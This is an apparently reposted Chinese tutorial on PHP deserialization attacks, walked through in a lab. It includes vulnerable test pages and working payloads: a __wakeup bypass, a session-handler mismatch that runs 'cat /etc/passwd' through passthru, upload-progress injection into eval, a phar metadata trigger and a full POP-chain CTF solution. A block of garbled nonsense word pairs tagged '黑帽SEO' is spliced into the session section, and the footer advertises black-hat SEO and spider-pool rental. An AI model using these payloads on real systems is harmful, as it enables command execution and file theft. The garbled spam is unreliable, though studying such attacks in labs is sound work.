序列化與反序列化
序列化用途:方便于對(duì)象在網(wǎng)絡(luò)中的傳輸和存儲(chǔ)
0x01 php反序列化漏洞
在PHP應(yīng)用中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。
常見(jiàn)的序列化格式:
- 二進(jìn)制格式
- 字節(jié)數(shù)組
- json字符串
- xml字符串
序列化就是將對(duì)象轉(zhuǎn)換為流,利于儲(chǔ)存和傳輸?shù)母袷?/p>
反序列化與序列化相反,將流轉(zhuǎn)換為對(duì)象
例如:json序列化、XML序列化、二進(jìn)制序列化、SOAP序列化
而php的序列化和反序列化基本都圍繞著 serialize(),unserialize()這兩個(gè)函數(shù)
php對(duì)象中常見(jiàn)的魔術(shù)方法
__construct() // 當(dāng)一個(gè)對(duì)象創(chuàng)建時(shí)被調(diào)用,
__destruct() // 當(dāng)一個(gè)對(duì)象銷毀時(shí)被調(diào)用,
__toString() // 當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串被調(diào)用。
__wakeup() // 使用unserialize()會(huì)檢查是否存在__wakeup()方法,如果存在則會(huì)先調(diào)用,預(yù)先準(zhǔn)備對(duì)象需要的資源
__sleep() // 使用serialize()會(huì)檢查是否存在__wakeup()方法,如果存在則會(huì)先調(diào)用,預(yù)先準(zhǔn)備對(duì)象需要的資源
__destruct() // 對(duì)象被銷毀時(shí)觸發(fā)
__call() // 在對(duì)象上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā)
__callStatic() // 在靜態(tài)上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā)
__get() // 用于從不可訪問(wèn)的屬性讀取數(shù)據(jù)
__set() // 用于將數(shù)據(jù)寫入不可訪問(wèn)的屬性
__isset() // 在不可訪問(wèn)的屬性上調(diào)用isset()或empty()觸發(fā)
__unset() // 在不可訪問(wèn)的屬性上使用unset()時(shí)觸發(fā)
__toString() // 把類當(dāng)作字符串使用時(shí)觸發(fā),返回值需要為字符串
__invoke() // 當(dāng)腳本嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)
PHP序列化數(shù)據(jù)
測(cè)試腳本 test.php
<?php
class User
{
public $name = '';
public $age = 0;
public $addr = '';
public function __toString()
{
return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;
}
}
$user = new User();
$user->name = 'default';
$user->age = '0';
$user->addr = 'default';
echo serialize($user);
?>
這是一個(gè)對(duì)象通過(guò)serialize()方法序列化后的格式
a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
當(dāng)一個(gè)頁(yè)面發(fā)現(xiàn)傳遞參數(shù)類似對(duì)象序列化的數(shù)據(jù)格式,可以測(cè)試是否存在反序列化漏洞
php對(duì)象中屬性的訪問(wèn)級(jí)別
測(cè)試 test.php
class User
{
private $name = 'default';
public $age = 18;
protected $addr = 'default';
public function __toString()
{
return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;
}
}
$user = new User();
echo serialize($user);
private 的屬性序列化后變成 <0x00>對(duì)象<0x00>屬性名
public 沒(méi)有任何變化
protected 的屬性序列化后變成 <0x00>*<0x00>屬性名
特殊十六進(jìn)制<0x00>表示一個(gè)壞字節(jié),就是空字節(jié)
下面測(cè)試正確的傳值姿勢(shì)進(jìn)行反序列化
代碼后添加幾句
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
先是測(cè)試普通的訪問(wèn)形式來(lái)傳值
usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}
public被正常修改,private、protected無(wú)法被對(duì)象外修改
如何才能從外部修改被保護(hù)的屬性值呢?
將 <0x00>的位置用 %00代替
usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}
可以發(fā)現(xiàn)即使是被保護(hù)的屬性也會(huì)被外部修改
php反序列化演示
假設(shè)頁(yè)面有個(gè)接口參數(shù)可控
<?php
class FileClass
{
public $filename = 'error.log';
public function __toString()
{
return file_get_contents($this->filename);
}
}
class User
{
public $name = '';
public $age = 0;
public $addr = '';
public function __toString()
{
return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;
}
}
# 參數(shù)可控
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
測(cè)試頁(yè)面是通過(guò)post來(lái)傳遞參數(shù),實(shí)戰(zhàn)環(huán)境不一定在post中,參數(shù)可能會(huì)被加密編碼過(guò)
先傳遞一個(gè) O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}
通過(guò)修改參數(shù),判斷參數(shù)是否可變
參數(shù)可變
反序列化漏洞利用
漏洞形成條件
- 參數(shù)可變
- 有可利用函數(shù)
假設(shè)存在可利用函數(shù)
測(cè)試代碼 test.php
<?php
class FileClass
{
public $filename = 'error.log';
public function __toString()
{
# 讀取文件函數(shù)
return file_get_contents($this->filename);
}
}
class User
{
public $name = '';
public $age = 0;
public $addr = '';
public function __toString()
{
return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;
}
}
# 參數(shù)可控
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
可知存在一個(gè)file_get_contents()文件讀取函數(shù)。
構(gòu)造惡意參數(shù) O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}
將之前User的接口改為讀取文件的類構(gòu)造參數(shù),F(xiàn)ileClass只有一個(gè)filename屬性,只需要傳遞要讀取的文件名就行
用同樣的參數(shù)名傳遞惡意參數(shù),導(dǎo)致當(dāng)前目錄的test.php被讀取,也可以嘗試讀取其他文件
讀取test.txt
嘗試讀取/etc/passwd
構(gòu)造參數(shù) O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}
0x02 繞過(guò) __wakeup()
__wakeup() 類似一個(gè)預(yù)處理的作用,在執(zhí)行unserialize()時(shí)會(huì)檢測(cè)是否存在wakeup,存在則先執(zhí)行 __wakeup()
繞過(guò)方式
這種方式繞過(guò)是由PHP的版本漏洞造成的
繞過(guò)__wakeup()只需要將參數(shù)的個(gè)數(shù)改成超過(guò)現(xiàn)有的參數(shù)個(gè)數(shù)即可
影響版本
PHP5 < 5.6.25
PHP7 < 7.0.10
5.6.40和5.5.38測(cè)試對(duì)比
測(cè)試頁(yè)面 test.php
測(cè)試版本 php 5.6.40
測(cè)試系統(tǒng) Linux
IP :192.168.80.11
<?php
// ...省略其他代碼
class CMDClass{
public $cmd = "";
function __wakeup(){
if(strpos($this->cmd,'ls')!==false){
$this->cmd = " ";
}
}
function __destruct(){
passthru($this->cmd,$result);
}
function __toString(){
return "";
}
}
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
這里 __wakeup() 中,判斷如果輸入的cmd參數(shù)中存在 "ls" 的字符串,則將cmd置為空格。
構(gòu)造參數(shù) O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}
將參數(shù)的個(gè)數(shù)改成超過(guò)現(xiàn)有的參數(shù)個(gè)數(shù)進(jìn)行繞過(guò)
更新后的版本,無(wú)法繞過(guò)會(huì)產(chǎn)生報(bào)錯(cuò)
換一臺(tái)虛擬機(jī)進(jìn)行測(cè)試
測(cè)試頁(yè)面 test.php
測(cè)試版本 php 5.5.38
測(cè)試系統(tǒng) Windows 7
IP :192.168.80.128
測(cè)試頁(yè)面 php_unser.php
<?php
// ...其余都一樣
function __wakeup(){
# 因?yàn)閣in7沒(méi)有l(wèi)s命令,所以這里來(lái)限制ipconfig命令
if(strpos($this->cmd,'ip')!==false){
$this->cmd = "echo 非法輸入";
}
}
?>
構(gòu)造參數(shù) O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}
發(fā)現(xiàn)被__wakeup()過(guò)濾了
修改參數(shù)個(gè)數(shù)進(jìn)行繞過(guò) O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}
經(jīng)測(cè)試可以繞過(guò)
0x03 Session反序列化
php中的session內(nèi)容不是存放在內(nèi)存中,是以文件形式存在。存儲(chǔ)方式就是由配置項(xiàng)session.save_handler來(lái)進(jìn)行確定的,默認(rèn)是以文件的方式存儲(chǔ)。存儲(chǔ)的文件是以
sess_sessionid來(lái)進(jìn)行命名的,文件的內(nèi)容就是session值的序列化之后的內(nèi)容。
存儲(chǔ)方式
php_binary存儲(chǔ)方式是,鍵名的長(zhǎng)度對(duì)應(yīng)的ASCII字符+鍵名+經(jīng)過(guò)serialize()函數(shù)序列化處理的值php存儲(chǔ)方式是,鍵名+豎線+經(jīng)過(guò)serialize()函數(shù)序列處理的值php_serialize(php>5.5.4)存儲(chǔ)方式是,經(jīng)過(guò)serialize()函數(shù)序列化處理的值
設(shè)置格式
ini_set('session.serialize_handler', '需要設(shè)置的引擎');
默認(rèn)下session存儲(chǔ)為 php 存儲(chǔ)方式
<?php
session_start();
$_SESSION['name'] = 'admin';
echo "session_id: ".session_id()."<br>";
passthru("cat /tmp/sess_".session_id());
?>
// session內(nèi)容 name|s:5:"admin";
php_serialize引擎
ini_set("session.serialize_handler","php_serialize");
session_start();
// ...
// session內(nèi)容 a:1:{s:4:"name";s:5:"admin";}
php_binary引擎
ini_set("session.serialize_handler","php_binary");
session_start();
// ...
// session內(nèi)容
ASCII的值為4的字符無(wú)法打印顯示
,【己境】【水流】【非?!俊境梢弧?【領(lǐng)域】【力直】【間幾】【尊獲】,【滴落】【猊立】【的核】【一句】【你方】.【常不】【能量】【音在】【障在】【戰(zhàn)的】,【浮現(xiàn)】【要不】【大能】【雷大】,【異?!俊竞玫摹俊举|(zhì)處】【御罩】【準(zhǔn)黑】!【了一】【下之】【器的】【生機(jī)】【按照】【虛空】,【河之】【老咒】【毫動(dòng)】【運(yùn)輸】,【界固】【懼怕】【不過(guò)】【起駝】【一點(diǎn)】,【成的】【之地】【嘴最】.【下文】【最新】【非?!俊疽挥洝?【不錯(cuò)】【力勝】【為金】【是輕】,【怖的】【總算】【小佛】【的至】.【歸一】!【懼意】【很好】【其中】【動(dòng)那】【卻高】【果是】【之毒】.【同時(shí)】【l黑帽SEO】【對(duì)小】【將要】【為獨(dú)】【鳳凰】【大小】【率突】【有任】【會(huì)打】【間出】【百六】【石當(dāng)】【回收】【物質(zhì)】【土地】【焰火】【大世】【時(shí)空】【較多】【刀痕】【他異】【個(gè)大】【流失】【雜一】【煉歷】【啊小】【布太】【確是】【是他】,漏洞原理
當(dāng)session使用不當(dāng),如php反序列化儲(chǔ)存時(shí)使用引擎和序列化使用的引擎不一樣,就會(huì)形成漏洞。
漏洞復(fù)現(xiàn)
本次測(cè)試,以 php引擎和 php_serialize引擎混合引發(fā)的漏洞
測(cè)試頁(yè)面1 target1.php --> php_serialize引擎
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["name"]=$_GET["name"];
if ($_SESSION["name"] !== null && $_SESSION["name"] !== "") {
echo "歡迎來(lái)到第一個(gè)頁(yè)面,Session已保存!";
}
?>
測(cè)試頁(yè)面2 target2.php --> php引擎
<?php
ini_set('session.serialize_handler','php');
session_start();
// 開(kāi)啟session之后 無(wú)需調(diào)用會(huì)自動(dòng)加載
class Admin
{
var $name;
function __construct()
{
$this->name = "default";
}
function __destruct(){
// 執(zhí)行命令
passthru($this->name);
}
}
?>
通過(guò)向 target1.php傳遞一個(gè)name為 admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}
然后在訪問(wèn) target2.php,會(huì)發(fā)現(xiàn)之前傳遞參數(shù)中的 cat /etc/passwd命令被執(zhí)行
這是發(fā)生了什么???!
漏洞觸發(fā)流程
首先通過(guò)訪問(wèn) target1.php并且傳遞了參數(shù) name=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}
而target1.php頁(yè)面是php_serialize引擎來(lái)存儲(chǔ)session,所以session保存后的內(nèi)容變成了 a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}
然后當(dāng)訪問(wèn)target2.php時(shí),會(huì)用第二個(gè)頁(yè)面的 php引擎來(lái)解析session,通過(guò) |來(lái)分割字符串取出對(duì)應(yīng)的值;
Session值
a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}
分解后,a:1:{s:4:"name";s:48:"admin被當(dāng)作session的key值
O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}被解析成value
Session本身就是序列化和反序列化的存儲(chǔ)方式
通過(guò)session將O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}反序列化
就會(huì)生成 Admin對(duì)象和一個(gè)屬性值為 cat /etc/passwd的name
再通過(guò)對(duì)象的銷毀魔術(shù)方法__destruct()就會(huì)形成惡意的命令執(zhí)行
CTF題實(shí)戰(zhàn)
為了符合題意需要將 php.ini中的 serialize_handler 修改一下
題目測(cè)試頁(yè)面 test3.php
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('test3.php'));
}
?>
訪問(wèn) <http://192.168.80.11/test3.php?phpinfo=phpinfo()>
符合上面將的漏洞環(huán)境
通過(guò)源碼可以看出并沒(méi)有可以傳入?yún)?shù)的地方
不過(guò)在phpinfo中可以看到 session.upload_progress.enabled 是打開(kāi)的
Session 上傳進(jìn)度
當(dāng) session.upload_progress.enabled INI 選項(xiàng)開(kāi)啟時(shí),PHP 能夠在每一個(gè)文件上傳時(shí)監(jiān)測(cè)上傳進(jìn)度。這個(gè)信息對(duì)上傳請(qǐng)求自身并沒(méi)有什么幫助,但在文件上傳時(shí)應(yīng)用可以發(fā)送一個(gè)POST請(qǐng)求到終端(例如通過(guò)XHR)來(lái)檢查這個(gè)狀態(tài)
當(dāng)一個(gè)上傳在處理中,同時(shí)POST一個(gè)與INI中設(shè)置的session.upload_progress.name同名變量時(shí),上傳進(jìn)度可以在$_SESSION中獲得。當(dāng)PHP檢測(cè)到這種POST請(qǐng)求時(shí),它會(huì)在$_SESSION中添加一組數(shù)據(jù), 索引是 session.upload_progress.prefix 與 session.upload_progress.name連接在一起的值
構(gòu)造一個(gè)post表單
<form action="http://192.168.80.11/test3.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit">
</form>
上傳一個(gè)文件,抓包分析
修改 filename 的值為 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
session值 先是以php_serialize引擎序列化后儲(chǔ)存
后輸出頁(yè)面被 php引擎解析觸發(fā)反序列化漏洞
構(gòu)造payload |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(\"/tmp/\"));\";}
可以遍歷 /tmp/ 內(nèi)的所有文件
0x04 反序列化繞過(guò)正則
測(cè)試頁(yè)面源碼 test4.php
<?php
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./test4.php");
}
?>
首先訪問(wèn) <http://192.168.80.11/test4.php>
通過(guò)源碼可以看出存在一個(gè)反序列化漏洞
根據(jù)之前的經(jīng)驗(yàn)直接構(gòu)造一個(gè) 序列化payload O:4:"baby":1:{s:4:"file";s:9:"index.php";}
但是由于存在正則表達(dá)式 preg_match('/[oc]:\d+:/i',$data,$matches); 對(duì)序列化字符串做了限制導(dǎo)致觸發(fā)防御
接下來(lái)嘗試?yán)@過(guò)正則表達(dá)式,前面的O:4:符合正則的條件,因此將其繞過(guò)即可。利用符號(hào)+就不會(huì)正則匹配到數(shù)字,新的payload 為O:+4:"baby":1:{s:4:"file";s:9:"index.php";}
并沒(méi)有什么變化的原因是,在url中 + 號(hào)會(huì)被解釋為空格,所以需要將 + url編碼后加入
嘗試訪問(wèn) flag.php
繞過(guò)正則表達(dá)式
實(shí)戰(zhàn)中需根據(jù)正則表達(dá)式規(guī)則來(lái)進(jìn)行繞過(guò)
0x05 phar反序列化
phar偽協(xié)議觸發(fā)php反序列化
phar://協(xié)議
可以將多個(gè)文件歸入一個(gè)本地文件夾,也可以包含一個(gè)文件
phar文件
PHAR(PHP歸檔)文件是一種打包格式,通過(guò)將許多PHP代碼文件和其他資源(例如圖像,樣式表等)捆綁到一個(gè)歸檔文件中來(lái)實(shí)現(xiàn)應(yīng)用程序和庫(kù)的分發(fā)。所有PHAR文件都使用.phar作為文件擴(kuò)展名,PHAR格式的歸檔需要使用自己寫的PHP代碼。
案例演示
假設(shè)已知頁(yè)面 test5.php
<?php
if(isset($_GET['filename'])){
$filename=$_GET['filename'];
class MyClass{
var $output='echo "nice"';
function __destruct(){
eval($this->output);
}
}
var_dump(file_exists($filename));
file_exists($filename);
}
else{
highlight_file(__FILE__);
}
接下來(lái)根據(jù)源碼中的類來(lái)構(gòu)造一個(gè)phar文件
創(chuàng)建一個(gè) phar.php
<?php
class MyClass{
var $output='phpinfo();';
function __destruct(){
eval($this->output);
}
}
@unlink("./myclass.phar");
$a=new MyClass;
$a->output='phpinfo();';
$phar = new Phar("./myclass.phar"); // 后綴必須為 phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a); // 將自定義的meta-data存入manifest
$phar->addFromString("test.txt","test"); // 添加壓縮文件
// 簽名自動(dòng)計(jì)算
$phar->stopBuffering();
?>
通過(guò)訪問(wèn)或者 php 編譯去生成 phar文件
注意:必須要在php.ini中設(shè)置 phar.readonly = Off 不然無(wú)法生存phar文件
通過(guò)查看,其中有一串序列化字符串正是和已知頁(yè)面源碼中類相對(duì)應(yīng)
可以通過(guò)上傳文件等方式將phar文件放到服務(wù)器上
先通過(guò)正常url http://192.168.80.11/test5.php?filename=index.php 訪問(wèn)
找到phar文件的路徑
利用 phar:// 協(xié)議來(lái)訪問(wèn)
http://192.168.80.11/test5.php?filename=phar://myclass.phar
可以利用phar文件中存在的序列化字符串來(lái)導(dǎo)致頁(yè)面反序列化漏洞的
0x06 POP鏈構(gòu)造
測(cè)試頁(yè)面 pop.php
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");
}
}
$a = $_GET['string'];
unserialize($a);
?>
解題思路:
- 首先發(fā)現(xiàn)找到flag,發(fā)現(xiàn)flag需要通過(guò)
GetFlag類中get_flag()函數(shù)輸出,然后可以看到string1類中的__toString()方法可以直接調(diào)用get_flag()方法,而str1需要賦值為GetFlag。 - 發(fā)現(xiàn)類
func中存在__invoke方法執(zhí)行了字符串拼接,需要把func當(dāng)成函數(shù)使用自動(dòng)調(diào)用__invoke然后把$mod1賦值為string1的對(duì)象與$mod2拼接。 - 在
funct中找到了函數(shù)調(diào)用,需要把mod1賦值為func類的對(duì)象,又因?yàn)楹瘮?shù)調(diào)用在__call方法中,且參數(shù)為$test2,即無(wú)法調(diào)用test2方法時(shí)自動(dòng)調(diào)用__call方法; - 在
Call中的test1方法中存在$this->mod1->test2();,需要把$mod1賦值為funct的對(duì)象,讓__call自動(dòng)調(diào)用。 - 查找
test1方法的調(diào)用點(diǎn),在start_gg中發(fā)現(xiàn)$this->mod1->test1();,把$mod1賦值為start_gg類的對(duì)象,等待__destruct()自動(dòng)調(diào)用。
通過(guò)構(gòu)造pop鏈輸出payload
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();//把$mod1賦值為Call類對(duì)象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();//把 $mod1賦值為funct類對(duì)象
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();//把 $mod1賦值為func類對(duì)象
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();//把 $mod1賦值為string1類對(duì)象
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();//把 $str1賦值為GetFlag類對(duì)象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;//構(gòu)造start_gg類對(duì)象$b
echo serialize($b);
執(zhí)行后輸出 payload O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
將payload帶入到參數(shù)發(fā)送請(qǐng)求,輸出flag
|轉(zhuǎn)載請(qǐng)注明來(lái)源地址:蜘蛛池出租 http://www.wholesalehouseflipping.com/專注于SEO培訓(xùn),快速排名黑帽SEO https://www.heimao.wiki
